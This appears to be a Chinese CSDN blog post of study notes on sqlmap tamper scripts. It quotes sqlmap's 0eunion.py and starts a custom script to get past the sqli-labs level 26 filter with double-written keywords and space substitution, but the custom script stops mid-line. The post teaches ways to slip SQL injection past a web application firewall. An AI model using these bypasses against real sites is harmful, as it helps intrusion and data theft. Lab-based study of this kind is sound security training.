python安全攻防第五章SQLMap的Tamper脚本

Tamper简介sqlmap的tamper一般用来绕过waf进行sql注入,脚本在tamper目录下。以0eunion.py为例#!/usr/bin/env python"""Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)See the file 'LICENSE' for copying permission"""import refrom lib.core.enums import PRIORITY#
摘要由CSDN通过智能技术生成

Tamper简介

sqlmap的tamper一般用来绕过waf进行sql注入,脚本在tamper目录下。

以0eunion.py为例

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re

from lib.core.enums import PRIORITY
#导入脚本调用优先级模块

__priority__ = PRIORITY.HIGHEST
#优先级为最高

def dependencies():		#声明脚本的适用范围,pass为空
    pass

def tamper(payload, **kwargs):		#构建tamper的主函数,kwargs很少使用,用于更改headers
    """
    Replaces instances of <int> UNION with <int>e0UNION

    Requirement:
        * MySQL
        * MsSQL

    Notes:
        * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf

    >>> tamper('1 UNION ALL SELECT')
    '1e0UNION ALL SELECT'
    """

    return re.sub(r"(\d+)\s+(UNION )", r"\g<1>e0\g<2>", payload, re.I) if payload else payload
    #用正则转换payload

5.4.2Tamper脚本的编写

基于sqli-labs第26关

1.查看过滤函数
在这里插入图片描述黑名单函数过滤了or,and,/*,–,#,空格,和/
1.可以使用双写绕过,anand,oorr
2.用%a代替空格

1.双写绕过

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST


def dependencies():
    pass


def tamper(payload, **kwargs):
    # 将payload进行转存
    retVal = payload
    if payload:
        retVal 
  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值